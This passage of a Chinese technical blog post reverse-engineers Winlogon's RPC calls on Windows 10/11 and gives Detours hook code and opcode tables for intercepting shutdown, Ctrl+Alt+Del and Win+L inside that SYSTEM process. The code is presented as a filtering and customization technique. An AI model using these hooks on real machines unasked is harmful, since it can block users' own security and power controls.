  2. 服务器存根从网络缓冲区检索参数,并将其从网络传输格式转换为服务器所需的格式。
  3. 服务器存根调用服务器上的实际过程。

然后,远程过程运行,可能生成输出参数和返回值。 远程过程完成后,类似的步骤序列会将数据返回给客户端。

  1. 远程过程将其数据返回到服务器存根。
  2. 服务器存根将输出参数转换为通过网络传输所需的格式,并将其返回到 RPC 运行时库函数。
  3. 服务器 RPC 运行时库函数将网络上的数据传输到客户端计算机。

客户端通过网络接受数据并将其返回到调用函数,从而完成该过程。

  1. 客户端 RPC 运行时库接收远程过程返回值,并将其返回到客户端存根。
  2. 客户端存根将数据从其 NDR 转换为客户端计算机使用的格式。 存根将数据写入客户端内存,并将结果返回给客户端上的调用程序。
  3. 调用过程继续,就像在同一台计算机上调用该过程一样。

运行时库分为两个部分:与应用程序链接的导入库和 RPC 运行时库(作为动态链接库实现 (DLL) )。

服务器应用程序包含对服务器运行时库函数的调用,这些函数注册服务器的接口并允许服务器接受远程过程调用。 服务器应用程序还包含客户端应用程序调用的特定于应用程序的远程过程。

4.2 分析关键函数

Winlogon 通过 RPC 调用获取来自其他进程的异步调用信息,通过 API Monitor 可以看出:

Ndr64AsyncServerCallAll 函数用于服务端接受 RPC 消息,这个函数在 MSDN 上找不到有用的说明,它只有一个形参为指向 PRC_MESSAGE 结构体的指针,但是 PRC_MESSAGE 结构体的信息并未公开文档。

他真的,我哭死。。。 

通过查阅并整理 Process Hacker(Sourceforge)ReactOS 等团队的逆向文献,我们最终得到了该函数的定义:

#define __RPC_FAR
#define RPC_MGR_EPV void
#define  RPC_ENTRY __stdcalltypedef void* LI_RPC_HANDLE;
typedef LI_RPC_HANDLE LRPC_BINDING_HANDLE;typedef struct _LRPC_VERSION {unsigned short MajorVersion;unsigned short MinorVersion;
} LRPC_VERSION;typedef struct _LRPC_SYNTAX_IDENTIFIER {GUID SyntaxGUID;LRPC_VERSION SyntaxVersion;
} LRPC_SYNTAX_IDENTIFIER, __RPC_FAR* LPRPC_SYNTAX_IDENTIFIER;typedef struct _LRPC_MESSAGE
{LRPC_BINDING_HANDLE Handle;unsigned long DataRepresentation;// %luvoid __RPC_FAR* Buffer;unsigned int BufferLength;unsigned int ProcNum;LPRPC_SYNTAX_IDENTIFIER TransferSyntax;void __RPC_FAR* RpcInterfaceInformation;void __RPC_FAR* ReservedForRuntime;RPC_MGR_EPV __RPC_FAR* ManagerEpv;void __RPC_FAR* ImportContext;unsigned long RpcFlags;
} LRPC_MESSAGE, __RPC_FAR* LPRPC_MESSAGE;//--------------------------------------------------
typedef void (RPC_ENTRY* __Ndr64AsyncServerCallAll)(LPRPC_MESSAGE pRpcMsg
);

其中,PRC_MESSAGE 结构体的各个成员目前我理解的作用为(可能有误):

LRPC_MESSAGE 结构体

定义

typedef struct _LRPC_MESSAGE
{
    LRPC_BINDING_HANDLE Handle;
    unsigned long DataRepresentation;
    void __RPC_FAR* Buffer;
    unsigned int BufferLength;
    unsigned int ProcNum;
    LPRPC_SYNTAX_IDENTIFIER TransferSyntax;
    void __RPC_FAR* RpcInterfaceInformation;
    void __RPC_FAR* ReservedForRuntime;
    RPC_MGR_EPV __RPC_FAR* ManagerEpv;
    void __RPC_FAR* ImportContext;
    unsigned long RpcFlags;
} LRPC_MESSAGE, __RPC_FAR* LPRPC_MESSAGE;

参数

  • Handle

类型:RPC_BINDING_HANDLE 

服务器绑定句柄。其中包含 RPC 运行时库用于访问绑定信息的信息。服务器绑定句柄包含客户端与特定服务器建立关系所需的信息。任意数量的 RPC API 运行时例程都会返回可用于进行远程过程调用的服务器绑定句柄。

  • DataRepresentation

类型:unsigned long

NDR 规范定义的网络缓冲区的数据表示形式。系统调用默认值 0x10。

  • Buffer

类型:void *

指向网络缓冲区开头的指针。用于本地 RPC 调用时表示一段内存数据的首地址。

  • BufferLength

类型:unsigned int

Buffer 参数指向的有效数据区域的大小(以字节为单位)。

  • ProcNum

类型:unsigned int

保留以供内部使用,一般设置为 NULL。(具体作用还未知)

  • TransferSyntax

类型:LPRPC_SYNTAX_IDENTIFIER

指向将写入用于编码数据的接口标识的地址的指针。 pInterfaceId 由接口通用唯一标识符 UUID 和版本号组成。

  • RpcInterfaceInformation

类型:void *

对于服务器端的非对象 RPC 接口,它指向 RPC 服务器接口结构。 在客户端,它指向 RPC 客户端接口结构。 对于对象接口,它为 NULL。

  • ReservedForRuntime

类型:void *

保留用于运行时传递额外的扩展数据。

  • ManagerEpv

类型:RPC_MGR_EPV

管理器入口点向量 (EPV) 是保存函数指针的数组。 数组包含指向 IDL 文件中指定的函数实现的指针。 数组中的元素数设置为 IDL 文件中指定的函数数。按照约定,包含接口和类型库定义的文件称为 IDL 文件,其文件扩展名为 .idl。 实际上,MIDL 编译器将分析接口定义文件,而不考虑其扩展名。 接口由关键字 (keyword) 接口标识。

  • ImportContext

类型:void *

保留,设置为 NULL,作用未知。

  • RpcFlags

类型:unsigned long

 RPC 调用的状态码。有时也使用 ProcNum 参数。

状态码可以是下表所列举的标志位的组合:

RPC_FLAGS_VALID_BIT0x00008000
RPC_CONTEXT_HANDLE_DEFAULT_GUARD((void*)0xfffff00d)
RPC_CONTEXT_HANDLE_DEFAULT_FLAGS0x00000000
RPC_CONTEXT_HANDLE_FLAGS0x30000000
RPC_CONTEXT_HANDLE_SERIALIZE0x10000000
RPC_CONTEXT_HANDLE_DONT_SERIALIZE0x20000000
RPC_TYPE_STRICT_CONTEXT_HANDLE0x40000000
RPC_NCA_FLAGS_DEFAULT0x00000000
RPC_NCA_FLAGS_IDEMPOTENT0x00000001
RPC_NCA_FLAGS_BROADCAST0x00000002
RPC_NCA_FLAGS_MAYBE0x00000004
RPC_BUFFER_COMPLETE0x00001000
RPC_BUFFER_PARTIAL0x00002000
RPC_BUFFER_EXTRA0x00004000
RPC_BUFFER_ASYNC0x00008000
RPC_BUFFER_NONOTIFY0x00010000
RPCFLG_MESSAGE0x01000000
RPCFLG_HAS_MULTI_SYNTAXES0x02000000
RPCFLG_HAS_CALLBACK0x04000000
RPCFLG_AUTO_COMPLETE0x08000000
RPCFLG_LOCAL_CALL0x10000000
RPCFLG_INPUT_SYNCHRONOUS0x20000000
RPCFLG_ASYNCHRONOUS0x40000000
RPCFLG_NON_NDR0x80000000

例如,当 Async RPC (异步 RPC) 过程使用 Buffer 传递字符串数据时,如果信息传递成功,则返回的标志位应该是 RPC_BUFFER_COMPLETE | RPC_BUFFER_ASYNC (36864) 的组合。

在调用了函数后,开始了熟悉的 RPC 调用流程:

首先进行字符串绑定,RpcStringBindingCompose 函数用于创建字符串绑定句柄。在这个环节他会将多个表示具体操作信息的字符串进行合并,随后会调用 RpcBindingFromStringBindingW 根据合并的字符串生成 RPC 信息的绑定句柄。

(记住这两个地址对理解后面的过程很重要)

这里 0x000000d388f7ede0 地址是绑定的字符串地址。

 这里 0x0000022b6ce4cd20 地址是绑定的句柄地址。

这两个函数的定义如下:

RPC_STATUS RpcStringBindingComposeW(

RPC_WSTR ObjUuid,

RPC_WSTR ProtSeq,

RPC_WSTR NetworkAddr,

RPC_WSTR Endpoint,

RPC_WSTR Options,

RPC_WSTR *StringBinding

);

RPC_STATUS RpcBindingFromStringBindingW(

RPC_WSTR StringBinding,

RPC_BINDING_HANDLE *Binding

);

两种典型的合并/绑定方式如下:

(1)第一种是忽略 Endpoint 参数,将协议序列名称和对象的 UUID 绑定为一个字符串:

(2)第二种是忽略 ObjUuid 参数,将协议序列名称和与协议序列对应的终结点对象绑定为一个字符串:

上面的操作类型发生在一次过程的开始和结束。

接下来就是要为句柄设置安全对象信息,RpcBindingSetAuthInfoEx 函数设置绑定句柄的身份验证、授权和安全服务质量信息。RpcBindingSetAuthInfoEx 函数接受由 RpcBindingFromStringBindingW 绑定的句柄 (Binding 和 StringBinding 不同, StringBinding 只表示字符串)。

随后由 RpcStringFree 函数释放由 RPC 运行时库分配的字符串。这里是释放 RpcStringBindingCompose 创建的字符串 StringBinding。

然后,程序需要确定远程应用程序是否正在侦听 RPC 调用,需要调用 RpcMgmtIsServerListening 函数,并将参数设置为为该应用程序指定服务器绑定的句柄 (Binding)。这里就是异步调用等待远程过程完成,这个函数被 Winlogon 的多个回调所采用, IDA 的交叉引用信息就可以看出 他是来自 WluiiWaitForServer 函数,看结构显然是用于等待的:

过程完成了,该函数才返回,最后调用 RpcBindingFree 释放绑定的句柄 (Binding)。

至此,一次简单的 PRC 调用过程已经分析差不多了。

通过 IDA 可以进一步找到该过程的函数,下面是给出的伪代码:

__int64 __fastcall WluiiStartupImpl(unsigned int a1, void *a2, DWORD *a3)
{int v6; // ediDWORD CurrentProcessId; // esiDWORD SharedEvents; // ebx__int64 dwProcessId; // rcxint v10; // eaxRPC_WSTR StringBinding; // [rsp+68h] [rbp-A0h] BYREFDWORD cbSid; // [rsp+70h] [rbp-98h] BYREFDWORD cchReferencedDomainName; // [rsp+74h] [rbp-94h] BYREFDWORD cchName[2]; // [rsp+78h] [rbp-90h] BYREFstruct _PROCESS_INFORMATION ProcessInformation; // [rsp+80h] [rbp-88h] BYREFstruct _STARTUPINFOW StartupInfo; // [rsp+98h] [rbp-70h] BYREFRPC_SECURITY_QOS SecurityQOS; // [rsp+108h] [rbp+0h] BYREFWCHAR ReferencedDomainName[16]; // [rsp+118h] [rbp+10h] BYREFchar pSid[80]; // [rsp+138h] [rbp+30h] BYREFunsigned __int16 ObjUuid[40]; // [rsp+188h] [rbp+80h] BYREFWCHAR CommandLine[256]; // [rsp+1D8h] [rbp+D0h] BYREFunsigned __int16 ServerPrincName[280]; // [rsp+3D8h] [rbp+2D0h] BYREFWCHAR Name[264]; // [rsp+608h] [rbp+500h] BYREF// 启动事件日志*a3 = 0;if ( *(_QWORD *)&g_TraceRegHandle&& (unsigned __int8)EtwEventEnabled(*(_QWORD *)&g_TraceRegHandle, &WLEvt_WluiServerStartup_Start) ){EtwEventWrite(*(_QWORD *)&g_TraceRegHandle, &WLEvt_WluiServerStartup_Start, 0i64, 0i64);}if ( (a1 & 0x40000000) != 0 ){v6 = 1;CurrentProcessId = GetCurrentProcessId();}else{v6 = 0;CurrentProcessId = 0;}StringBinding = 0i64;// 分析需要进行的操作if ( a1 ){SharedEvents = WluiiCreateSharedEvents();if ( SharedEvents )goto LABEL_40;if ( v6 ){// 准备 LogonUI 的启动参数if ( (int)StringCchPrintfW(CommandLine,0x100ui64,L"\"%s\" /flags:0x%lx /state0:0x%lx /state1:0x%lx /testclientprocessid:0x%08x",L"LogonUI.exe",dword_1400D1610,CurrentProcessId,_wnfState.Data[0],_wnfState.Data[1]) >= 0 )goto LABEL_10;}else if ( (int)StringCchPrintfW(CommandLine,0x100ui64,L"\"%s\" /flags:0x%lx /state0:0x%lx /state1:0x%lx",L"LogonUI.exe",dword_1400D1610,_wnfState.Data[0],_wnfState.Data[1]) >= 0 ){
LABEL_10:memset_0(&StartupInfo, 0, sizeof(StartupInfo));StartupInfo.cb = 104;StartupInfo.lpDesktop = L"Winsta0\\Winlogon";if ( v6 )StartupInfo.lpDesktop = 0i64;if ( a2 ){// 继承虚拟令牌,创建 SYSTEM 进程,可以是 LogonUI, 也可以是 Taskmgrif ( CreateProcessAsUserW(a2,0i64,CommandLine,0i64,0i64,1,  // 继承令牌0,0i64,0i64,&StartupInfo,&ProcessInformation) ){
LABEL_14:hTargetProcessHandle = ProcessInformation.hProcess;CloseHandle(ProcessInformation.hThread);dwProcessId = ProcessInformation.dwProcessId;*a3 = ProcessInformation.dwProcessId;RegisterLogonProcess(dwProcessId, 0i64);goto LABEL_15;}}   // 和当前用户桌面级别有关,此时调用 CreateProcessW 创建进程。else if ( CreateProcessW(0i64, CommandLine, 0i64, 0i64, 1, 0, 0i64, 0i64, &StartupInfo, &ProcessInformation) ){goto LABEL_14;}SharedEvents = GetLastError();if ( !SharedEvents )goto LABEL_27;
LABEL_40:WLEventWrite(&WLEvt_WluiServerStartupFailure);goto LABEL_27;}SharedEvents = 122;goto LABEL_40;}
LABEL_15:if ( !v6 ){CurrentProcessId = NtCurrentPeb()->SessionId;if ( CurrentProcessId == (unsigned int)RtlGetCurrentServiceSessionId() )CurrentProcessId = RtlGetActiveConsoleId();}v10 = StringCchPrintfW(ObjUuid, 0x25ui64, L"3BDB59A0-D736-4D44-9074-C1EE%08X", CurrentProcessId); // 准备 UUID 绑定模式的参数if ( v10 < 0 ){SharedEvents = (unsigned __int16)v10;if ( (_WORD)v10 )goto LABEL_40;}// 绑定字符串,生成 RPC 字符串句柄SharedEvents = RpcStringBindingComposeW(ObjUuid, (RPC_WSTR)L"ncalrpc", 0i64, 0i64, 0i64, &StringBinding);if ( SharedEvents )goto LABEL_40;SharedEvents = RpcBindingFromStringBindingW(StringBinding, &Binding);if ( SharedEvents )goto LABEL_40;if ( !v6 ){// 查询 SIDServerPrincName[272] = 0;cbSid = 68;if ( CreateWellKnownSid(WinLocalSystemSid, 0i64, pSid, &cbSid) ){// WinLocalSystemSid == 0x16cchName[0] = 257;cchReferencedDomainName = 16;if ( LookupAccountSidLocalW(pSid,Name,cchName,ReferencedDomainName,&cchReferencedDomainName,(PSID_NAME_USE)&cchName[1]) ){if ( (int)StringCchPrintfW(ServerPrincName, 0x111ui64, L"%s\\%s", ReferencedDomainName, Name) >= 0 ){SecurityQOS.Version = 1;*(_QWORD *)&SecurityQOS.Capabilities = 1i64;SecurityQOS.ImpersonationType = 2;while ( 1 ){// 绑定 SID 和 安全属性 信息SharedEvents = RpcBindingSetAuthInfoExW(Binding, ServerPrincName, 6u, 0xAu, 0i64, 0, &SecurityQOS);if ( !SharedEvents )break;Sleep(0x12Cu);}}}}}
LABEL_27:if ( StringBinding ) // 删除字符串占用的内存RpcStringFreeW(&StringBinding);if ( SharedEvents )WluiiShutdownImpl(a1); // RPC 收尾工作if ( *(_QWORD *)&g_TraceRegHandle&& (unsigned __int8)EtwEventEnabled(*(_QWORD *)&g_TraceRegHandle, &WLEvt_WluiServerStartup_Stop) ){ // 事件日志记录EtwEventWrite(*(_QWORD *)&g_TraceRegHandle, &WLEvt_WluiServerStartup_Stop, 0i64, 0i64);}return SharedEvents;
}

关于 LogonUI.exe 的参数一共有四个参数(NT 10),这个程序用于实现登录会话的多个 GUI 界面:

"LogonUI.exe" /testclientprocessid:<OnlyForTest> /flags:<dwActionFlags> /state0:<UnKnown> /state1:<UnKnown>

对于“/flags:”参数目前可以有两个值:0x0 和 0x4,与电源状态有关的操作为 0x4;其他操作,比如安全选项页面,参数为 0x0;

"/state0:" 和 "/state1:" 参数是 COM 调用 LogonUIController 类的虚表函数中继承的第 6 个接口,它调用了 IUserSettingManagerstate 是必要的参数,这个类的具体实现封装在 LogonUIController.dll 中 (%System32% 根目录)。具体作用暂未知,不过 "/state0:" 是运行时变化的,"/state1:" 似乎是一个几乎不变的值:0x41c64e6d。

下面是初步分析的一部分过程,如有错误望指点:

CoCreateInstance 首先检索了 CLSID_LogonUIController 关联的类对象,LPVOID ppv 返回的是一个存放多个接口地址的数组,即 int ppv[Len],据分析实际继承的有 13 个接口函数。

LogonUI.exe 准备完参数后就直接通过 COM 服务器的接口继续登录会话:

LogonUIController.dll 的虚表(部分):

以上只是简单对 RPC 过程的分析,可能多有不足。

4.3 过滤方法一:拦截 RPC 的字符串句柄绑定过程

RPC 字符串句柄绑定的过程中可以通过拦截 RpcStringBindingComposeW 函数实现 RPC 操作的拦截。但是由于这个函数绑定的参数情况较多,绑定失败会采用其他方式传递参数,就像上文列举的那样,以 WindowsShutdown 等终结点模式传递失败时候,会改用 UUID 模式,这会导致挂钩的难度上升。下文给出的是拦截 WindowsShutdown 终结点的挂钩代码,在实践中发现,如果同时挂钩 RpcAsyncCompleteCall ,并等待 RpcStringBindingComposeW 函数返回空值之后,调用 RpcAsyncCompleteCall 并返回操作被取消的信息,可以避免系统改用其他模式的尝试。

#include "pch.h"
#include "detours.h"
#include <process.h>
#pragma comment(lib, "detours.lib")PVOID _RpcBindingFromStringBindingW = NULL;#define __RPC_FAR
#define RPC_NATIVE_API __stdcall
#define RPC_S_INVALID_STRING_UUID 1705L
#define RPC_S_INVALID_BINDING 1702L
#define RPC_S_OK ERROR_SUCCESStypedef _Return_type_success_(return == 0) long RPC_STATUS;
typedef _Null_terminated_ wchar_t __RPC_FAR* RPC_WSTR;
typedef _Null_terminated_ const wchar_t* RPC_CWSTR;
typedef void* I_RPC_HANDLE;
typedef I_RPC_HANDLE RPC_BINDING_HANDLE;typedef RPC_STATUS(RPC_NATIVE_API* __RpcBindingFromStringBindingW)(RPC_WSTR           StringBinding,RPC_BINDING_HANDLE* Binding
);RPC_STATUS RPC_NATIVE_API MyRpcBindingFromStringBindingW(RPC_WSTR           StringBinding,RPC_BINDING_HANDLE* Binding
);static void StartHookingFunction(void*);
static void UnmappHookedFunction(void*);BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{DisableThreadLibraryCalls(hModule);switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:_beginthread(StartHookingFunction, 0, NULL);break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH:_beginthread(UnmappHookedFunction, 0, NULL);break;}return TRUE;
}static void StartHookingFunction(void*)
{// 开始事务DetourTransactionBegin();// 更新线程信息  DetourUpdateThread(GetCurrentThread());// 获取函数指针_RpcBindingFromStringBindingW =DetourFindFunction("rpcrt4.dll","RpcBindingFromStringBindingW");// 将拦截的函数附加到原函数的地址上DetourAttach(&(PVOID&)_RpcBindingFromStringBindingW,MyRpcBindingFromStringBindingW);// 结束事务DetourTransactionCommit();
}static void UnmappHookedFunction(void*)
{//开始事务DetourTransactionBegin();//更新线程信息 DetourUpdateThread(GetCurrentThread());//将拦截的函数从原函数的地址上解除,这里可以解除多个函数。DetourDetach(&(PVOID&)_RpcBindingFromStringBindingW,MyRpcBindingFromStringBindingW);//结束事务DetourTransactionCommit();
}RPC_STATUS RPC_NATIVE_API MyRpcBindingFromStringBindingW(RPC_WSTR           StringBinding,RPC_BINDING_HANDLE* Binding
)
{if (!wcscmp(StringBinding, L"ncalrpc:[WindowsShutdown]")){WCHAR wcstr[356]{};wsprintf(wcstr, L"已经阻止用户启动的关机计划!\nRPC调用关键字符串: %s\n", StringBinding);MessageBoxW(GetDesktopWindow(), wcstr, L"RpcStringBindingComposeW", MB_OK | MB_ICONWARNING | MB_SYSTEMMODAL);return RPC_S_OK;}return ((__RpcBindingFromStringBindingW)_RpcBindingFromStringBindingW)(StringBinding, Binding);
}

4.4 过滤方法二:拦截 Server 端异步回调过程

还记得一切的开端吗?如果从根源上掐断是否可以实现更好的效果?我们尝试去搞定送报员 Ndr64AsyncServerCallAll 函数:

在调用 Ndr64AsyncServerCallAll 函数前后,只有三个参数发生了变化:BufferBufferLength  和 RpcFlags。送报员到底做了什么事情?

Ndr64AsyncServerCallAll 函数下断点,打开内存编辑器,并在尝试相应的操作,比如按下 Ctrl + Alt + Del 时,观察触发断点时窗口中 Buffer 参数的值:

在内存编辑器中找到对应的地址,可以看到地址的开头 4~5 字节为一个 Code,这里是 04 04 00 00 00:

通过分析多个操作发现这里的前 12 字节都是有意义的(和 BufferLength = 12 一致),开头几个字节的掩码表示要进行的操作的代码。

以下是我基于 Win 11 分析出的掩码:

[ Windows 11 22H2 / 10.0.22621.XXXX ]
"0100000000" // 注销 KEY
"0100000003" // 重启 KEY

"0100000009" // 关机 KEY

"0104000000" // 资源管理器崩溃重启

"0005000000" // 以管理员身份启动 KEY(其中,第5,6字节处为可变值)

"0105000000" // 成功以管理员身份启动 KEY(其中,第5,6字节处为可变值)

"0202000000" // 注销后登陆 KEY
"0301000002" // 从深度睡眠中唤醒 KEY

"0304000000" // 注销后登陆 KEY(待定)

"0401000000" // 唤醒 KEY

"0404000000" // Ctrl+Alt+Del KEY(一次调用)
"0404000004" // Ctrl+Shift+Esc KEY(一次调用)
"0404000005" // WIN+L KEY(一次调用)
"0501000000" // 自动睡眠 KEY

"0502000000" // 切换用户

"0601000000" // 从深度睡眠中唤醒 KEY
"0601000002" // S3 睡眠阶段 1 KEY

"0701000002" // S3 睡眠阶段 2 KEY

"0704000000" // 操作已完成 KEY

"0c04000000" // DWM 崩溃恢复通知,第五位可变

"0d04000000" // 注销后登陆 KEY
"f f f f f f f f f f " // 切换用户

备注:这个表大部分都是已经确定了具体操作了的,在以前的系统上基本不变,但可能有几个发生变化。我推测操作应该是按 Code 的顺序排的,估计应该编码了一个表在内部,具体的 Code 和操作的联系仍然在研究。目前通过调试获得的这个表不全面。

通过过滤该函数的参数即可实现在 Win 10 / 11 上,直接拦截 Winlogon 回调,而且操作简单。

依然使用 Detours 库,钩子函数内的方法可以仿照下面的来写:

// 钩子例程
if (pRpcMsg->BufferLength == 0)
{((__Ndr64AsyncServerCallAll)fpNdr64AsyncServerCallAll)(pRpcMsg);return;
}char p[5] = { 0 };
char Strr[45] = { 0 };
size_t dwNumberOfBytesRead = 0;
int BufferMask[5] = { 0 };
DWORD Result = 0;// 读取数据
for (long long i = 0; i < 5; i++)// 前 5 位数据
{if (ReadProcessMemory(hLogProc, (PVOID)(iBaseAddress + i),&BufferMask[i], static_cast<SIZE_T>(1), &dwNumberOfBytesRead)){sprintf_s(p, "%02x", BufferMask[i]);Buffer = Buffer + p;}
}// ... do something to compare string Codes.......

 下图展示了使用该技术实现的,电源选项拦截/通知的效果:

五、通过 ICredentialProvider 接口重写凭据提供程序

俗话说的好:自力更生、丰衣足食!我们改不好,难道还不可以重写吗?微软提供了凭据提供程序接口 (Vista 及以上) 和 GINA (XP或更早) 等途径来自定义凭据处理对话。我们就可以通过凭据提供程序接口,ICredentialProvider 这个接口接口继承自 IUnknown 接口,调用它可以实现定制自己的登陆界面,就像 Wallpaper Engine/Lively Wallpaper 可以实现动态壁纸一样。

5.1 方法概述

MSDN 上,ICredentialProvider 接口具有以下方法:

ICredentialProvider::Advise

允许凭据提供程序通过回调接口在登录 UI 或凭据 UI 中启动事件。
ICredentialProvider::GetCredentialAt

获取特定凭据。
ICredentialProvider::GetCredentialCount

获取此凭据提供程序下的可用凭据数。
ICredentialProvider::GetFieldDescriptorAt

获取描述指定字段的元数据。
ICredentialProvider::GetFieldDescriptorCount

检索显示此提供程序凭据所需的 中的字段计数。
ICredentialProvider::SetSerialization

设置凭据提供程序的序列化特征。
ICredentialProvider::SetUsageScenario

定义凭据提供程序有效的方案。 每当初始化凭据提供程序时调用。
ICredentialProvider::UnAdvise

登录 UI 或凭据 UI 用于通知凭据提供程序不再接受事件回调。

我们考虑到可以通过该方法和之前的 RPC 检测技术配合,来自定义凭据提供程序(自定义登陆界面版面和动画)。限于篇幅,我会单独写一篇利用该接口实现自定义登陆界面的博客。


后记

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_59075481/article/details/133801527

文章更新于:2023.10.24

这篇关于拦截 Winlogon 调用——拦截系统热键、关机等的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/354357

相关文章

不懂推荐算法也能设计推荐系统

本文以商业化应用推荐为例,告诉我们不懂推荐算法的产品,也能从产品侧出发, 设计出一款不错的推荐系统。 相信很多新手产品,看到算法二字,多是懵圈的。 什么排序算法、最短路径等都是相对传统的算法(注:传统是指科班出身的产品都会接触过)。但对于推荐算法,多数产品对着网上搜到的资源,都会无从下手。特别当某些推荐算法 和 “AI”扯上关系后,更是加大了理解的难度。 但,不了解推荐算法,就无法做推荐系

基于人工智能的图像分类系统

目录 引言项目背景环境准备 硬件要求软件安装与配置系统设计 系统架构关键技术代码示例 数据预处理模型训练模型预测应用场景结论 1. 引言 图像分类是计算机视觉中的一个重要任务,目标是自动识别图像中的对象类别。通过卷积神经网络(CNN)等深度学习技术,我们可以构建高效的图像分类系统,广泛应用于自动驾驶、医疗影像诊断、监控分析等领域。本文将介绍如何构建一个基于人工智能的图像分类系统,包括环境

水位雨量在线监测系统概述及应用介绍

在当今社会,随着科技的飞速发展,各种智能监测系统已成为保障公共安全、促进资源管理和环境保护的重要工具。其中,水位雨量在线监测系统作为自然灾害预警、水资源管理及水利工程运行的关键技术,其重要性不言而喻。 一、水位雨量在线监测系统的基本原理 水位雨量在线监测系统主要由数据采集单元、数据传输网络、数据处理中心及用户终端四大部分构成,形成了一个完整的闭环系统。 数据采集单元:这是系统的“眼睛”,

嵌入式QT开发:构建高效智能的嵌入式系统

摘要: 本文深入探讨了嵌入式 QT 相关的各个方面。从 QT 框架的基础架构和核心概念出发,详细阐述了其在嵌入式环境中的优势与特点。文中分析了嵌入式 QT 的开发环境搭建过程,包括交叉编译工具链的配置等关键步骤。进一步探讨了嵌入式 QT 的界面设计与开发,涵盖了从基本控件的使用到复杂界面布局的构建。同时也深入研究了信号与槽机制在嵌入式系统中的应用,以及嵌入式 QT 与硬件设备的交互,包括输入输出设

JAVA智听未来一站式有声阅读平台听书系统小程序源码

智听未来,一站式有声阅读平台听书系统 🌟&nbsp;开篇:遇见未来,从“智听”开始 在这个快节奏的时代,你是否渴望在忙碌的间隙,找到一片属于自己的宁静角落?是否梦想着能随时随地,沉浸在知识的海洋,或是故事的奇幻世界里?今天,就让我带你一起探索“智听未来”——这一站式有声阅读平台听书系统,它正悄悄改变着我们的阅读方式,让未来触手可及! 📚&nbsp;第一站:海量资源,应有尽有 走进“智听

如何在页面调用utility bar并传递参数至lwc组件

1.在app的utility item中添加lwc组件: 2.调用utility bar api的方式有两种: 方法一,通过lwc调用: import {LightningElement,api ,wire } from 'lwc';import { publish, MessageContext } from 'lightning/messageService';import Ca

【区块链 + 人才服务】可信教育区块链治理系统 | FISCO BCOS应用案例

伴随着区块链技术的不断完善,其在教育信息化中的应用也在持续发展。利用区块链数据共识、不可篡改的特性, 将与教育相关的数据要素在区块链上进行存证确权,在确保数据可信的前提下,促进教育的公平、透明、开放,为教育教学质量提升赋能,实现教育数据的安全共享、高等教育体系的智慧治理。 可信教育区块链治理系统的顶层治理架构由教育部、高校、企业、学生等多方角色共同参与建设、维护,支撑教育资源共享、教学质量评估、

软考系统规划与管理师考试证书含金量高吗?

2024年软考系统规划与管理师考试报名时间节点: 报名时间:2024年上半年软考将于3月中旬陆续开始报名 考试时间:上半年5月25日到28日,下半年11月9日到12日 分数线:所有科目成绩均须达到45分以上(包括45分)方可通过考试 成绩查询:可在“中国计算机技术职业资格网”上查询软考成绩 出成绩时间:预计在11月左右 证书领取时间:一般在考试成绩公布后3~4个月,各地领取时间有所不同

系统架构师考试学习笔记第三篇——架构设计高级知识(20)通信系统架构设计理论与实践

本章知识考点:         第20课时主要学习通信系统架构设计的理论和工作中的实践。根据新版考试大纲,本课时知识点会涉及案例分析题(25分),而在历年考试中,案例题对该部分内容的考查并不多,虽在综合知识选择题目中经常考查,但分值也不高。本课时内容侧重于对知识点的记忆和理解,按照以往的出题规律,通信系统架构设计基础知识点多来源于教材内的基础网络设备、网络架构和教材外最新时事热点技术。本课时知识

计算机毕业设计 大学志愿填报系统 Java+SpringBoot+Vue 前后端分离 文档报告 代码讲解 安装调试

🍊作者:计算机编程-吉哥 🍊简介:专业从事JavaWeb程序开发,微信小程序开发,定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事,生活就是快乐的。 🍊心愿:点赞 👍 收藏 ⭐评论 📝 🍅 文末获取源码联系 👇🏻 精彩专栏推荐订阅 👇🏻 不然下次找不到哟~Java毕业设计项目~热门选题推荐《1000套》 目录 1.技术选型 2.开发工具 3.功能